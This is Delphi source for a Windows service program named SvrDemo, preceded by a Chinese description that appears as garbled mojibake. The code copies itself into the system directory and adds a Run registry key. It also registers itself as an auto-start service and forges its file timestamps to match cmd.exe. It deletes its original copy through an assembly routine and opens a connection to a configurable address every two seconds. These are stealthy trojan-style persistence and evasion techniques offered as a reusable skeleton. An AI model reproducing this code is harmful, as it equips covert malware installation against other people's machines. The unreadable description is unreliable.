Т»ёцјтµҐµД·ґПтБ¬ЅУ·юОсіМРт

№¦ДЬјтЅйЈє

ФЛРРєуЧФЙѕіэЈ¬РґЧўІб±нRunПВЈ¬Н¬К±ЧФїЅ±ґµЅПµНіДїВјПВЈ¬ЧўІбОЄПµНі·юОсSvrDemo,РЮёДОДјюК±јдН¬Cmd.exeЈ¬ГїёфБ©ГлЦУБ¬ЅУТ»ґО±ѕµШ(127.0.0.1)µД600¶ЛїЪ  Ј¬ipµШЦ·єН¶ЛїЪїЙЧФРРРЮёДЈ¬Ії·ЦґъВлАґФґУЪНшЙПРЮёДЈ¬ЦчТЄФЪУЪСЭКѕ·юОсіМРтЈ¬УГfsg2.0јУїЗєу9.8k,±аТл»·ѕіD7+2kPro

ФЪГьБоРРПВјУІОКэ /U їЙТФР¶ФШ·юОсіМРтЎЈ

program SvrDemo;

uses
    Windows,
    WinSvc,
    winsock;

const
    RegName = 'SvrDemo';

var
    szServiceName: pchar = 'SvrDemo';
    szFileName:pchar;
    ServiceTable: array [0..1] of TServiceTableEntry;
    Status: SERVICE_STATUS;
    StatusHandle: SERVICE_STATUS_HANDLE;
    Stopped: boolean;
    Paused: boolean;
    cmd :array[0..MAX_PATH] of char;

//»сИЎПµНіДїВј
function GetDirectory(dInt: Integer): string;
var
    s: array[0..255] of Char;
begin
    case dInt of
      0: GetWindowsDirectory(@s, 256);  //Windows°ІЧ°ОДјюЉAЛщґжФЪµДВ·ѕ¶
      1: GetSystemDirectory(@s, 256);   //ПµНіОДјюЉAЛщґжФЪµДВ·ѕ¶
      2: GetTempPath(256,@s);           //TempОДјюЉAЛщґжФЪµДВ·ѕ¶
    end;
    if dInt=2 then
      result :=string(s)
    else
      result := string(s) + '\';
end;

//ЙиЦГОДјюК±јд
procedure setTime(srcFile,destFile:PChar);
var
    hFileOld,hFileNew :THandle;
    CreationTime, LastAccessTime, LastWriteTime :PFileTime;
begin
    hFileOld :=createFile(srcFile,generic_read,file_share_read,nil,
                          open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil));
    if (hFileOld=INVALID_HANDLE_VALUE) then exit;
    hFileNew :=createFile(destFile,generic_write,file_share_write,nil,
                          open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil));
    if (hFileNew=INVALID_HANDLE_VALUE) then exit;
    GetMem(CreationTime,SizeOf(TFileTime));
    GetMem(LastAccessTime,SizeOf(TFileTime));
    GetMem(LastWriteTime,SizeOf(TFileTime));
    GetFileTime(hFileOld,CreationTime,LastAccessTime,LastWriteTime);
    SetFileTime(hFileNew,CreationTime,LastAccessTime,LastWriteTime);
    FreeMem(CreationTime);
    FreeMem(LastAccesstime);
    FreeMem(LastWriteTime);
    CloseHandle(hFileNew);
    CloseHandle(hFileOld);
end;

function LookupName(const Name: string): TInAddr;
var
    HostEnt: PHostEnt;
    InAddr: TInAddr;
begin
    HostEnt := gethostbyname(PChar(Name));
    FillChar(InAddr, SizeOf(InAddr), 0);
    if HostEnt <> nil then
    begin
       with InAddr, HostEnt^ do
       begin
         S_un_b.s_b1 := h_addr^[0];
         S_un_b.s_b2 := h_addr^[1];
         S_un_b.s_b3 := h_addr^[2];
         S_un_b.s_b4 := h_addr^[3];
       end;
    end;
    Result := InAddr;
end;

function StartNet(host:string;port:integer;var sock:integer):Boolean;
var
    wsadata:twsadata;
    FSocket:integer;
    SockAddrIn:TSockAddrIn;
    err:integer;
begin
    err:=WSAStartup($0101,WSAData);
    FSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
    if FSocket=invalid_socket then
    begin
      Result:=False;
      Exit;
    end;
    SockAddrIn.sin_addr:=LookupName(host);
    SockAddrIn.sin_family := PF_INET;
    SockAddrIn.sin_port :=htons(port);
    err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
    if err=0 then
    begin
      sock:=FSocket;
      Result:=True;
    end else
    begin
      Result:=False;
    end;
end;

procedure Delme;
var
    module : HMODULE;
    buf : array[0..MAX_PATH - 1] of char;
    p : ULONG;
    hKrnl32 : HMODULE;
    pExitProcess, pDeleteFile, pFreeLibrary: pointer;
begin
    module := GetModuleHandle(nil);
    GetModuleFileName(module, buf, sizeof(buf));
    CloseHandle(THandle(4));
    p := ULONG(module) + 1;
    hKrnl32 := GetModuleHandle('kernel32');
    pExitProcess := GetProcAddress(hKrnl32, 'ExitProcess');
    pDeleteFile := GetProcAddress(hKrnl32, 'DeleteFileA');
    pFreeLibrary := GetProcAddress(hKrnl32, 'FreeLibrary');
    asm
    lea eax, buf
    push 0
    push 0
    push eax
    push pExitProcess
    push p
    push pDeleteFile
    push pFreeLibrary
    ret
    end;
end;

function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
    result := false;
    RegCreateKey(key,PChar(subkey),regkey);
    if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
      result := true;
    RegCloseKey(regkey);
end;

procedure SetDelValue(ROOT: hKey; Path, Value: string);
var
    Key: hKey;
begin
    RegOpenKeyEx(ROOT, pChar(Path), 0, KEY_ALL_ACCESS, Key);
    RegDeleteValue(Key, pChar(Value));
    RegCloseKey(Key);
end;

function InstallService(ServiceName, DisplayName, FileName: string): boolean;
var
    SCManager,Service: THandle;
    Args: pchar;
begin
    Result := False;
    SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
    if SCManager = 0 then Exit;
    try
      Service := CreateService(SCManager,  //ѕд±ъ
                     PChar(ServiceName), //·юОсГыіЖ
                     PChar(DisplayName), //ПФКѕ·юОсГы
                     SERVICE_ALL_ACCESS, //·юОс·ГОКАаРН
                     SERVICE_WIN32_OWN_PROCESS, //·юОсАаРН  or SERVICE_INTERACTIVE_PROCESS
                     SERVICE_AUTO_START, //ЧФ¶ЇЖф¶Ї·юОс
                     SERVICE_ERROR_IGNORE, //єцВФґнОу
                     PChar(FileName),  //Жф¶ЇµДОДјюГы
                     nil,  //name of load ordering group (ФШИлЧйГы) 'LocalSystem'
                     nil,  //±кЗ©±кК¶·ы
                     nil,  //Па№ШРФКэЧйГы
                     nil,  //ХК»§(µ±З°)
                     nil); //ГЬВл(µ±З°)

      Args := nil;
      StartService(Service, 0, Args);
      CloseServiceHandle(Service);
    finally
      CloseServiceHandle(SCManager);
    end;
    Result := True;
end;

procedure UninstallService(ServiceName: string);
var
    SCManager,Service: THandle;
    ServiceStatus: SERVICE_STATUS;
begin
    SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
    if SCManager = 0 then Exit;
    try
      Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
      ControlService(Service, SERVICE_CONTROL_STOP, ServiceStatus);
      DeleteService(Service);
      CloseServiceHandle(Service);
    finally
      CloseServiceHandle(SCManager);
    end;
end;

procedure ServiceCtrlHandler(Control: dword); stdcall;
begin
    case Control of
      SERVICE_CONTROL_STOP:
      begin
        Stopped := True;
        Status.dwCurrentState  := SERVICE_STOPPED;
      end;
      SERVICE_CONTROL_PAUSE:
      begin
        Paused := True;
        Status.dwcurrentstate := SERVICE_PAUSED;
      end;
      SERVICE_CONTROL_CONTINUE:
      begin
        Paused := False;
        Status.dwCurrentState := SERVICE_RUNNING;
      end;
      SERVICE_CONTROL_INTERROGATE:  ;
      SERVICE_CONTROL_SHUTDOWN: Stopped := True;
    end;
    SetServiceStatus(StatusHandle, Status);
end;

procedure ServiceMain;
var
    s:integer;
    //MSG:TMSG;
begin
{ while(GetMessage(Msg,0,0,0))do
    begin
      TranslateMessage(Msg);
      DispatchMessage(Msg);
    end; }
    repeat
      if not Paused then
      begin
        StartNet('127.0.0.1',600,s);
        Sleep(2000);
      end;
    until Stopped;
    ExitProcess(0);
end;

procedure ServiceCtrlDispatcher(dwArgc: dword; var lpszArgv: pchar); stdcall;
begin
    StatusHandle := RegisterServiceCtrlHandler(szServiceName, @ServiceCtrlHandler);
    if StatusHandle <> 0 then
    begin
      ZeroMemory(@Status, SizeOf(Status));
      Status.dwServiceType := SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS;
      Status.dwCurrentState:= SERVICE_START_PENDING;
      Status.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE;
      Status.dwWaitHint := 1000;
      SetServiceStatus(StatusHandle, Status);
      Stopped := False;
      Paused := False;
      Status.dwCurrentState := SERVICE_RUNNING;
      SetServiceStatus(StatusHandle, Status);
      ServiceMain;
    end;
end;

procedure Main;
begin
    szFileName :=pchar(GetDirectory(1) + szServiceName + '.exe');
    if ParamStr(1) = '/u' then
    begin
      UninstallService(szServiceName);
      SetDelValue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',RegName);
    end else
    begin
      GetModuleFileName(hInstance,cmd,MAX_PATH);
      ServiceTable[0].lpServiceName := szServiceName;
      ServiceTable[0].lpServiceProc := @ServiceCtrlDispatcher;
      ServiceTable[1].lpServiceName := nil;
      ServiceTable[1].lpServiceProc := nil;
      StartServiceCtrlDispatcher(ServiceTable[0]);
      if CopyFile(cmd,szFileName,false) then
      begin
        SetRegValue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',RegName,szFileName);
        setTime(PChar(GetDirectory(1) + 'cmd.exe'),szFileName);
        InstallService(szServiceName, szServiceName, szFileName);
        Delme;
      end;
    end;
end;

begin
    Main;
end.